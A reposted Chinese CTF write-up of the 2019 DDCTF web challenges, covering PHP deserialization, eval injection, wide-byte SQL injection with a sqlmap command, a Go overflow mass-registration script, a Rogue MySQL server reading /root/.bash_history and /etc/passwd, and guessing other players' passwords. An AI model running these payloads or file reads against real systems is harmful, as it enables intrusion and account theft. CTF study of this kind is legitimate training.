内容简介:2019 DDCTF web writeup[TOC]NULL 题目地址:[http://117.51.150.246](http://117.51.150.246/)
2019 DDCTF web writeup
[TOC]
Web1 滴~
Description
NULL 题目地址:[http://117.51.150.246](http://117.51.150.246/)
Hacking
文件读取
<title>TmprMlpUWTBOalUzT0RKbE56QTJPRGN3</title>index.php</br>index.php</br><img src='data:image/gif;base64,PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo='></img>
直接读 index.php 得到
<?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */ error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'); $file = hex2bin(base64_decode(base64_decode($_GET['jpg']))); echo '<title>'.$_GET['jpg'].'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.'</br>'; $file = str_replace("config","!", $file); echo $file.'</br>'; $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
找到类似的 原题 ,但是原题利用了 .idea
文件泄露,这里并没有,留下的只是一个深深的巨坑,首先看 php 顶部链接找到博客,然后发现这篇博客日期不对。找到该博主7月4日的博客,发现是一篇名为 vim 异常退出 swp文件提示 的博客,看文章内容发现有一个恢复 .practice.txt.swp
的操作。
结果这里是个巨坑,最后是要拿到的文件是 practice.txt.swp
,并没有开头的 .
符号…然后提示 f1ag!ddctf.php
,然后去读这个文件源码,得到
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
很简单的变量覆盖。
Web 2 WEB 签到题
Description
NULL 题目地址:
Hacking
url:app/Application.php
Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }
url:app/Session.php
include 'Application.php'; class Session extends Application { //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index();
我们可以看到 Application.php 中的关键代码
public function __destruct(){ //... $this->response($data = file_get_contents($path), 'Congratulations'); //... }
而且在 session.php
中我们可以找到一处反序列化的地方,所以很明显就需要我们去构建一个反序列化漏洞,利用这里去读取 ../config/flag.txt
我们在 session.php
中发现关键代码
if (!empty($_POST["nickname"])) { $arr = array($_POST["nickname"], $this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data, $v); } parent::response($data, "Welcome"); }
这里循环使用 sprintf
格式化打印 $arr
,所以我们只需要让第二次存在一个 %s
,即可让他打印出 $this->eacrykey
,所以可以构造 nickname=%s
即可得到 $this->eacrykey
为 EzblrbNS
之后我们可以发现主要就是要构造 $session
这个变量来触发 session_read()
函数中的 $session = unserialize($session);
于是我们可以先从服务器获取 session_create()
得到的数据如下
a:4:{s:10:"session_id";s:32:"9e887a62624202e40d11881772b19569";s:10:"ip_address";s:11:"157.0.25.86";s:10:"user_agent";s:82:"Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.14;+rv:66.0)+Gecko/20100101+Firefox/66.0";s:9:"user_data";s:0:"";}a170c04974e03dc5cc763c0ab32d6905;
我们就可以得到 ip 了,接下里我们只需要去构造反序列化 Application
这个类就好了。
这个类也很简单,主要就是绕过它的这个 sanitizepath()
方法即可,我们双写就可以绕过了。
var $path = "..././config/flag.txt";
所以我们可以在 session.php 中自己本地搭一下
private function session_create(){ $sessionid = ''; while (strlen($sessionid) < 32) { $sessionid .= mt_rand(0, mt_getrandmax()); } $a = new Application(); $userdata = array( 'session_id' => '272a4339b6b9340dad9466656d869286', 'ip_address' => '157.0.25.86', 'user_agent' => $a, 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata . md5($this->eancrykey . $cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); }
session_id 修改为服务器获取得到的 session_id 即可,ip_address 服务器也返回了,填上去了就好了。这样我们本地搭起环境,从 http 头中拿到 cookie ,用这个 cookie 访问服务器即可拿到 flag 了。
Web 3 Upload-IMG
Description
Hacking
CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)
其他人可以直接用搜到的 jpg_payload.php 可以直接随便拿一个图片都可以拿到 flag ,而我就不行了…应该是图片的原因….
最后自己按照这个 GitHub 仓库 生成拿到了 flag…
Web 4 homebrew event loop
Description
Hacking
# -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon' from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5af31f96147e657' def FLAG(): return 'FLAG_is_here_but_i_wont_show_you' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' #resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True': html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) <br />' def get_flag_handler(args): if session['num_items'] >= 5: trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
一个比较简单的 Flask 框架,提供使用 points 购买 diamonds 的功能,然后将操作记录写进 session['log']
里面。
整个代码还是比较简单的,而且漏洞点也相对比较明显。其实每个语言的 eval
函数都差不多,比如这里 python 的 eval
函数,类似于 php 中的 eval
,也可以将 eval
中的字符串当作代码来处理。
所以这意味着什么呢?这就意味着可以使用 #
注释我们不需要的代码。
举个例子:
>>> eval("print(1)") 1 >>> eval("print(1)#do something)") 1
所以我们就可以利用这个特性,利用题目中的 event_handler
来执行任意函数。
利用 #
成功绕过了后缀的限制执行了 show_flag_function
函数。
虽然可以直接执行 getFlag
函数,但是这个函数还是有一个限制 session['num_items'] >= 5
,即使可以直接执行但是因为这个判断也无法绕过。所以这里可以有一些思路,比如找一个可以由 int
函数转换成负数的数,或者直接打印函数什么。但是两种基本都走不通…
CTF 魅力所在可能就是可以让你利用你能利用的一切去创造一些新的途径达到自己目的。
既然要绕过 session['num_items'] >= 5
的判断,我们就需要通过 buy_handler
来增加自己的物品数,然而这个函数里面我们可以看到
def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
最后一行并没有直接调用 consume_point_function
,而是通过调用 trigger_event
来调用花费的函数。
然而我们可以看到 trigger_event
函数
def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event)
只不过是用来增加 session
记录而已,并没有立即去调用 consume_point_function
,所以如果我们在 buy_handler
与 consume_point_function
两个函数之间执行 get_Flag
函数,就可以先增加自己的 item
来绕过 get_Flag
函数对于 item
的判断,尽管之后会执行 consume_point_function
函数,但是 Flag 已经被我们打印出来了,所以后面即使会回滚也无关紧要了。
所以如何构造这个 payload 达到我们在 buy_handler
之后立即执行 get_Flag
函数呢。让我们来看看整个代码的逻辑。首先代码会进入 entry_point
函数,并将 querystring
传入 trigger_event
函数, trigger_event
将行动记录到 session['log']
当中,接着执行 execute_event_loop
函数。
我们重点来看 execute_event_loop
这个函数。
def execute_event_loop(): valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' #resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp
这个函数进入循环执行函数的条件为 while len(request.event_queue) > 0
,而 trigger_event
函数是可以控制 request.event_queue
的关键,所以按照我们之前的思路,我们是不是可以利用这个函数来控制我们的执行顺序呢?
例如我们可以先尝试构造 action:trigger_event%23;action:buy;8
,我们本地可以通过 app.logger.info
来查看 execute_event_loop
循环中的 action
与 args
参数,我们可以得到
可以看到执行了 but_handler
函数,我们注意 trigger_event
中是可以接受数组的
if type(event) == type([]): request.event_queue += event
对于数组的处理,他会挨个加入到 request.event_queue
,所以我们就可以利用传入数组来控制执行顺序,只要我们传入一个第一个参数为 but_handler
的函数,第二个参数为 get_Flag
的函数就可以实现在调用花费函数之前来输出 Flag 了。
怎么构造数组呢?在 execute_event_loop
中对于参数的处理可以自己随便测试一下就知道了他是以 :;
之后的字符串以 #
为分割来形成数组的。
所以这样子我们就成功将 get_flag
函数优先调用了。接下来就是处理一些细节的事情了,比如调用 get_Flag
在源代码中是 get_flag_handler
,所以我们需要传入的参数是 action:get_flag
,以及 Flag 最后是通过以下函数调用 trigger_event
把 Flag 输出到 session['log']
当中的。
def get_flag_handler(args): if session['num_items'] >= 5: trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries trigger_event('action:view;index')
所以我们的 payload 就是 action:trigger_event%23;action:buy;8%23action:get_flag;
,再通过p牛的 flask cookie 解密脚本即可得到 flag
Web 5 欢迎报名DDCTF
Description
Hacking
一开始根本打不了…而且还被人用 Beff 搅屎了…而且严重怀疑这题是中途改题的…很坑
首先题目设置比较简单
测试 XSS ,但是贼坑的误导你,返回了想误导你走入 sql 注入的大坑。
我们可以用 xss 拿到 admin.php 的 html 源码
看到源码中一个接口,直接访问提示需要一个 id 的传参,随便输入之后看到响应包
HTTP/1.1 200 OK Date: Thu, 25 Apr 2019 03:06:39 GMT Server: Apache Content-Length: 31 Connection: close Content-Type: text/html;charset=gbk <title>List Query API</title>
发现 Content-Type
为 charset=gbk
,猜测是一个宽字节注入。而且并没有什么过滤,直接开注,可能唯一需要一点 trick 的就是需要用十六进制绕过被转义的单引号了…
注出库名
注出表名
注出字段名
拿到 flag
当然也可以用 sqlmap 直接跑。
也可以指定使用 --tamper unmagicquotes
来进行注入
python sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1" --tamper unmagicquotes --hex --level 3 -D ctfdb -T ctf_fhmHRPL5 --dump
Web 6 大吉大利,今晚吃鸡~
Description
Hacking
一开始一直在溢出购买的这里,但是一旦溢出了,服务器就返回 500 了…
GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1 Host: 117.51.147.155:5050 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: application/json Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://117.51.147.155:5050/index.html Connection: close Cookie: user_name=zedd; REVEL_SESSION=ef66cfc3f5199180eea686597f4a1e72
然后看到一道类似 护网杯Itshop 题目,所以考虑这个地方是不是也是用的是余额-支出这么个操作来溢出呢
查找 GoLang 的相关数据类型,用 uint32 成功溢出。
猜测在 price 转换成 int 的时候发生溢出变成 -1 ,导致余额减去花费大于0,成功绕过判断买到入场券。
之后就比较简单了,可以通过输入 ticket 杀 bot ,猜测 id 与 ticket 有某种映射关系,可以注册一系列小号买 ticket 保大号杀。
附上脚本。
import requests import re import time username = 'zedde' base_url = 'http://117.51.147.155:5050' register = base_url + '/ctf/api/register?name={0}&password=12345678' buy_url = base_url + '/ctf/api/buy_ticket?ticket_price=4294967296' search_url = base_url + '/ctf/api/search_bill_info' pay_url = base_url + '/ctf/api/pay_ticket?bill_id=' remove_url = base_url + '/ctf/api/remove_robot?id={0}&ticket={1}' cookies = dict(user_name='zedd',REVEL_SESSION='ef66cfc3f5199180eea686597f4a1e72') for i in range(0,700): user = username + str(i) register_url = register.format(user) req = requests.session() rep = req.get(register_url) rep = req.get(buy_url) rep = req.get(search_url) str_text = r'"bill_id":"(.*)",' match = re.search(str_text, rep.text, re.M|re.I) if match: bill_id = match.group(1) rep = req.get(pay_url + bill_id) matchObj = re.search( r'{"your_id":(.*),"your_ticket":"(.*)"}]', rep.text, re.M|re.I) # print(rep.text) if matchObj: bot_id = matchObj.group(1) ticket = matchObj.group(2) else: continue r = requests.get(remove_url.format(bot_id,ticket), cookies=cookies) print(r.text) time.sleep(1)
这题还有一种 trick 就是猜榜单已经做出来的师傅的密码,一般 id 都是师傅们的 id ,密码大多都是12345678(别问我怎么知道…我也是12345678…
比如这位师傅,用 12345678 登进去就拿到他的 flag 了。后面就是你敢不敢交的问题了…手动斜眼,毕竟后面有一段看起来貌似是随机的字符串…可能是主办方用来防作弊的?不得而知…hhhh
后面看官方的 wp 发现光房预设解其实是想让选手用 md5 长度拓展攻击去做的,也可以通过下面这题 mysql 弱口令来读吃鸡的源码拿 flag。
另外:登录那里还有个水平越权,无论成功与否,都会返回用户的 cookie ,因此也可以猜师傅们的用户名,直接带着 cookie 去看他的 /main/result
即可。(2333
Web 7 WEB mysql弱口令
Description
Hacking
很经典的 Rogue-Mysql-Server 一题,但是坑点还是有的。建议使用这个 Github 仓库来做 allyshka/Rogue-MySql-Server
题目给了一个 agent.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 12/1/2019 2:58 PM # @Author : fz # @Site : # @File : agent.py # @Software: PyCharm import json from http.server import HTTPServer, BaseHTTPRequestHandler from optparse import OptionParser from subprocess import Popen, PIPE class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): request_path = self.path print("\n----- Request Start ----->\n") print("request_path :", request_path) print("self.headers :", self.headers) print("<----- Request End -----\n") self.send_response(200) self.send_header("Set-Cookie", "foo=bar") self.end_headers() result = self._func() self.wfile.write(json.dumps(result)) def do_POST(self): request_path = self.path # print("\n----- Request Start ----->\n") print("request_path : %s", request_path) request_headers = self.headers content_length = request_headers.getheaders('content-length') length = int(content_length[0]) if content_length else 0 # print("length :", length) print("request_headers : %s" % request_headers) print("content : %s" % self.rfile.read(length)) # print("<----- Request End -----\n") self.send_response(200) self.send_header("Set-Cookie", "foo=bar") self.end_headers() result = self._func() self.wfile.write(json.dumps(result)) def _func(self): netstat = Popen(['netstat', '-tlnp'], stdout=PIPE) netstat.wait() ps_list = netstat.stdout.readlines() result = [] for item in ps_list[2:]: tmp = item.split() Local_Address = tmp[3] Process_name = tmp[6] tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name} result.append(tmp_dic) return result do_PUT = do_POST do_DELETE = do_GET def main(): port = 8123 print('Listening on localhost:%s' % port) server = HTTPServer(('0.0.0.0', port), RequestHandler) server.serve_forever() if __name__ == "__main__": parser = OptionParser() parser.usage = ( "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n" "Run:\n\n") (options, args) = parser.parse_args() main()
这里可能会比较容易误导,题目是固定地去请求你的 8123 端口,你必须得在 8123 部署这个 agent.py ,然后看代码,这个 agent.py 并没有做一个内网转发代理什么的,只不过是探测你部署的机器上有没有运行 mysqld 服务以及对应的服务端口是什么,然后他在外网去访问 agent.py 返回的 mysql 的端口。知道这个就非常好做了,基本坑都绕过了…不然的话就像一开始只能一个个排错什么的…
只要把 agent.py 中的返回直接给他改了,改成直接返回自己的端口即可。
def _func(self): netstat = Popen(['netstat', '-tlnp'], stdout=PIPE) netstat.wait() ps_list = netstat.stdout.readlines() result = [] for item in ps_list[2:]: tmp = item.split() Local_Address = tmp[3] Process_name = tmp[6] tmp_dic = {'local_address': '0.0.0.0:3306', 'Process_name': 'mysqld'} result.append(tmp_dic) return result
例如这样,不一定非得 3306 ,可以把 Rogue Mysql 那一套放在其他端口也可。
其他的都是一贯的 Rogue Mysql 的操作,这里就不重复演示了。
然后可以去读 /root/.bash_history
看之前的路径文件,发现在 /home/dc2-user/ctf_web_2/app/main/views.py
可以读到题目源码
# coding=utf-8 from flask import jsonify, request from struct import unpack from socket import inet_aton import MySQLdb from subprocess import Popen, PIPE import re import os import base64 # flag in mysql curl@localhost database:security table:flag def weak_scan(): agent_port = 8123 result = [] target_ip = request.args.get('target_ip') target_port = request.args.get('target_port') if not target_ip or not target_port: return jsonify({"code": 404, "msg": "åæ°ä¸è½ä¸ºç©º", "data": []}) if not target_port.isdigit(): return jsonify({"code": 404, "msg": "端å£å¿ 须为æ°å", "data": []}) if not checkip(target_ip): return jsonify({"code": 404, "msg": "å¿ é¡»è¾å ¥ip", "data": []}) if is_inner_ipaddress(target_ip): return jsonify({"code": 404, "msg": "ipä¸è½æ¯å ç½ip", "data": []}) tmp_agent_result = get_agent_result(target_ip, agent_port) if not tmp_agent_result[0] == 1: tem_result = tmp_agent_result[1] result.append(base64.b64encode(tem_result)) return jsonify({"code": 404, "msg": "æå¡å¨æªå¼å¯mysql", "data": result}) tmp_result =mysql_scan(target_ip, target_port) if not tmp_result['Flag'] == 1: tem_result = tmp_agent_result[1] result.append(base64.b64encode(tem_result)) return jsonify({"code": 0, "msg": "æªæ«æåºå¼±å£ä»¤", "data": []}) else: tem_result = tmp_agent_result[1] result.append(base64.b64encode(tem_result)) result.append(tmp_result) return jsonify({"code": 0, "msg": "æå¡å¨åå¨å¼±å£ä»¤", "data": result}) def checkip(ip): p = re.compile('^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$') if p.match(ip): return True else: return False def curl(url): tmp = Popen(['curl', url, '-L', '-o', 'content.log'], stdout=PIPE) tmp.wait() result = tmp.stdout.readlines() return result def get_agent_result(ip, port): str_port = str(port) url = 'http://'+ip + ':' + str_port curl(url) if not os.path.exists('content.log'): return (0, 'æªå¼å¯agent') with open('content.log') as f1: tmp_list = f1.readlines() response = ''.join(tmp_list) os.remove('content.log') if not 'mysqld' in response: return (0, response) else: return (1, response) def ip2long(ip_addr): return unpack("!L", inet_aton(ip_addr))[0] def is_inner_ipaddress(ip): ip = ip2long(ip) return ip2long('127.0.0.0') >> 24 == ip >> 24 or \ ip2long('10.0.0.0') >> 24 == ip >> 24 or \ ip2long('172.16.0.0') >> 20 == ip >> 20 or \ ip2long('192.168.0.0') >> 16 == ip >> 16 def mysql_scan(ip, port): port = int(port) weak_user = ['root', 'admin', 'mysql'] weak_pass = ['', 'mysql', 'root', 'admin', 'test'] Flag = 0 for user in weak_user: for pass_wd in weak_pass: if mysql_login(ip,port, user, pass_wd): Flag = 1 tmp_dic = {'weak_user': user, 'weak_passwd': pass_wd, 'Flag': Flag} return tmp_dic else: tmp_dic = {'weak_user': '', 'weak_passwd': '', 'Flag': Flag} return tmp_dic def mysql_login(host, port, username, password): '''mysql login check''' try: conn = MySQLdb.connect( host=host, user=username, passwd=password, port=port, connect_timeout=1, ) print ("[H:%s P:%s U:%s P:%s]Mysql login Success" % (host,port,username,password),"Info") conn.close() return True except MySQLdb.Error, e: print ("[H:%s P:%s U:%s P:%s]Mysql Error %d:" % (host,port,username,password,e.args[0]),"Error") return False
可以读 /etc/passwd
拿到 mysql 的路径,然后根据 mysql 的路径与 flag 在数据库中的位置提示,我们可以直接读 /var/lib/mysql/security/flag.ibd
中可以拿到 flag,也可以读 /var/lib/mysql/ibdata1
,只是这个文件一般比较大。
也有师傅说可以读 .mysqlhistory
.mysql_history
虽然读不到数据库内容,但是在这里可以看到这里出题者是用了 insert
,我们可以看到他的操作的语句,也拿到了 flag
这里可以读到吃鸡那题的代码,路径为 /home/dc2-user/ctf_web_1/web_1/main/views.py
from flask import jsonify, request,redirect from app import mongodb from app.unitis.tools import get_md5, num64_to_32 from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id import uuid from urllib import unquote mydb = mongodb.db flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''
Web 8 WEB 再来1杯Java
Description
绑定Host访问: 116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 2019 DDCTF
- DDCTF2019 write up
- DDCTF2019 部分 writeup 及思路
- DDCTF2019官方Write Up——MISC篇
- DDCTF2019官方Write Up——Android篇
- DDCTF2019官方Write Up——Web篇
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Algorithms
Sanjoy Dasgupta、Christos H. Papadimitriou、Umesh Vazirani / McGraw-Hill Education / 2006-10-16 / GBP 30.99
This text, extensively class-tested over a decade at UC Berkeley and UC San Diego, explains the fundamentals of algorithms in a story line that makes the material enjoyable and easy to digest. Emphasi......一起来看看 《Algorithms》 这本书的介绍吧!